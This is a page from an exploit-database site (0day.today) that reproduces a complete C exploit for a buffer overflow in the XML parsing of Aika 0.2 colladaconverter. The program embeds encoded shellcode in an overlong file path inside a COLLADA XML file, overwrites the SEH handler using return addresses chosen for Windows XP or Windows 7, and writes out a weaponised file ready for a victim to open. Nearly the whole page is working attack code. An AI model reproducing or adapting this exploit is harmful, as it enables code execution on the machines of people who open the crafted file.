0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Aika 0.2 colladaconverter Xml Parsing Buffer Overflow
[/*
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
# Exploit Title: Aika colladaconverter buffer overflow exploit
# Date: 09/11/2011
# Author: isciurus
# Software Link: http://aika.googlecode.com/files/aika-v02.zip
# Version: 0.2
# Tested on: Windows 7 x64
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/gpl-3.0.html>.
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
*/
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include "string.h"
char printableASCIIShellcode[] = // encoded 499 bytes
"WUQQUj3hKzJYSaRYjVCX4VGRH4z0BfXRQPPZjQX4QP2BM0BMX2Ai0BMXYZPOCKHG" // will be injected inside the file path ---------
"OHOCHGCKHKkAgFCBMGKJEA3Ag2Bg0BgABE94ku2QmAiAszHthbzMIMQ8Uz9TFQWC" // |
"GDNW6jYeJ8l47kSCPlKPRZljwLskRH6RQ0OiKjRENz4TUYHTfu6rjMTi1NAjGwMF" // |
"RHxIjxgzoZnVXlGIXJbCJYhxKHXKvjyFXDDLbNydxzXT3vTJdfa7Hpp3VM1jUOVv" // |
"UJYuPT3vkOQIPYGxa6Rk6NOaV9PEH56Mrrz5ZSPLOAvKIsFOCbfqWBRXPCNWSmJf" // |
"EVCXNoYNR9oDOaWoykz1Ev3TxcSHQz4ZOOLxlGBjsDGWGJs1EOCNqaAAOWHAMWCx" // |
"JEFIrTQ70vEFELaCIPPAPP0GUSmGfq1ZioUNQQATGCISZuJHNKRnlC3baNSAvIRO" // |
"HLvt4zVFHLkLxBQR5XsKpEN90RgdBZlNmISLELGsEL0myBVKzJY"; // |
// |
char xml[] = // |
"<?xml version=\"1.0\" encoding=\"utf8\"?>" // |
"<COLLADA xmlns=\"http://www.collada.org/2005/11/COLLADASchema\" version=\"1.4.1\">" // |
"<asset>" // |
" <contributor>" // |
" <author>isciurus</author>" // |
" <comments>The shellcode encoded with http://www.exploit-db.com/exploits/13286/</comments>" // |
" </contributor>" // |
" <created>2011-09-04T22:29:59Z</created>" // |
" <modified>2011-09-04T22:29:59Z</modified>" // |
" <unit meter=\"0.01\" name=\"centimeter\"/>" // |
" <up_axis>Y_UP</up_axis>" // |
"</asset>" // |
"<library_cameras>" // |
" <camera id=\"cameraShape1\" name=\"cameraShape1\">" // |
" <optics>" // |
" <technique_common>" // |
" <perspective>" // |
" <yfov>37.8492</yfov>" // |
" <aspect_ratio>1.5</aspect_ratio>" // |
" <znear>1</znear>" // |
" <zfar>10000</zfar>" // |
" </perspective>" // |
" </technique_common>" // |
" </optics>" // |
" </camera>" // |
"</library_cameras>" // |
"<library_lights></library_lights>" // |
"<library_images>" // |
" <image id=\"file2\" name=\"file2\" depth=\"1\">" // |
" <init_from>E:\\aika\\" // <---------------------------
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"SSSSSSSSSSSSSSADDR_1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
// ^
// |
// ------------------------------------------------- the shellcode will be copied at this address
"AAAAA"
" </init_from>"
" </image>"
" <image id=\"file3\" name=\"file3\" depth=\"1\">"
" <init_from>E:\\aika\\"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBADDR_2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
// ^
// |
// -------------------------------------------------------- these bytes will overwrite SEH handler
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // this part forces the application to write outside
"AAAAAAAAAAAAAAAAAAAA" // the stack and triggers AV exception
" </init_from>"
" </image>"
"</library_images>"
"<library_materials>"
" <material id=\"blinn3\" name=\"blinn3\">"
" <instance_effect url=\"#blinn3-fx\"/>"
" </material>"
"</library_materials>"
"<library_geometries>"
" <geometry id=\"LOD3spShape-lib\" name=\"LOD3spShape\">"
" <mesh>"
" <source id=\"LOD3spShape-lib-positions\" name=\"position\">"
" <technique_common>"
" <accessor count=\"2108\" offset=\"0\" source=\"#LOD3spShape-lib-positions-array\" stride=\"3\">"
" <param name=\"X\" type=\"float\"/>"
" <param name=\"Y\" type=\"float\"/>"
" <param name=\"Z\" type=\"float\"/>"
" </accessor>"
" </technique_common>"
" </source>"
" <source id=\"LOD3spShape-lib-normals\" name=\"normal\">"
" <technique_common>"
" <accessor count=\"2290\" offset=\"0\" source=\"#LOD3spShape-lib-normals-array\" stride=\"3\">"
" <param name=\"X\" type=\"float\"/>"
" <param name=\"Y\" type=\"float\"/>"
" <param name=\"Z\" type=\"float\"/>"
" </accessor>"
" </technique_common>"
" </source>"
" <source id=\"LOD3spShape-lib-map1\" name=\"map1\">"
" <technique_common>"
" <accessor count=\"2277\" offset=\"0\" source=\"#LOD3spShape-lib-map1-array\" stride=\"2\">"
" <param name=\"S\" type=\"float\"/>"
" <param name=\"T\" type=\"float\"/>"
" </accessor>"
" </technique_common>"
" </source>"
" <vertices id=\"LOD3spShape-lib-vertices\">"
" <input semantic=\"POSITION\" source=\"#LOD3spShape-lib-positions\"/>"
" </vertices>"
" <triangles count=\"4212\" material=\"blinn3SG\">"
" <input offset=\"0\" semantic=\"VERTEX\" source=\"#LOD3spShape-lib-vertices\"/>"
" <input offset=\"1\" semantic=\"NORMAL\" source=\"#LOD3spShape-lib-normals\"/>"
" <input offset=\"2\" semantic=\"TEXCOORD\" source=\"#LOD3spShape-lib-map1\" set=\"0\"/>"
" <p>375</p>"
" </triangles>"
" </mesh>"
" </geometry>"
"</library_geometries>"
"<scene>"
" <instance_visual_scene url=\"#VisualSceneNode\"/>"
"</scene>"
"</COLLADA>";
int main(int argc, char **argv)
{
FILE *xml_file;
char win7;
char *offset;
char *ll;
if(argc < 2)
{
printf("\nUsage: aika_bof <malformed_collada_xml_path>");
return 0;
}
if(sizeof(printableASCIIShellcode) > 644)
{
printf("\nSorry, the shellcode is too long, 644 chars is maximum");
return 0;
}
while(1)
{
char os;
printf("\nChoose OS version ([X] for Windows XP, [7] for Windows 7):");
os = tolower(getchar());
if(os == 'x')
{
win7 = 0;
break;
}
else if(os == '7')
{
win7 = 1;
break;
}
else
{
printf("\nUnknown OS version");
}
}
printf("\n[*] Injecting the shellcode into the xml...");
offset = strstr(xml, "SSSSSSSSSSSSSSSSSSSSSSSSSSSS");
strncpy(offset, printableASCIIShellcode, sizeof(printableASCIIShellcode) - 1);
if(win7 == 1)
{
offset = strstr(xml, "ADDR_1");
strncpy(offset, "%40%02", sizeof("%40%02") -1);
offset = strstr(xml, "ADDR_2");
strncpy(offset, "%40%02", sizeof("%40%02") -1);
}
else
{
offset = strstr(xml, "ADDR_1");
strncpy(offset, "%40%01", sizeof("%40%01") -1);
offset = strstr(xml, "ADDR_2");
strncpy(offset, "%40%01", sizeof("%40%01") -1);
}
printf("done");
printf("\n[*] Writing %d bytes to %s...", sizeof(xml), argv[1]);
xml_file = fopen(argv[1], "wb");
if(xml_file == NULL)
{
printf("\nerror while opening %s", argv[1]);
return 0;
}
if(fwrite(xml, 1, sizeof(xml) - 1, xml_file) != sizeof(xml) - 1)
{
printf("\nerror while writing into %s", argv[1]);
return 0;
}
printf("done");
}
# 0day.today [2024-12-29] #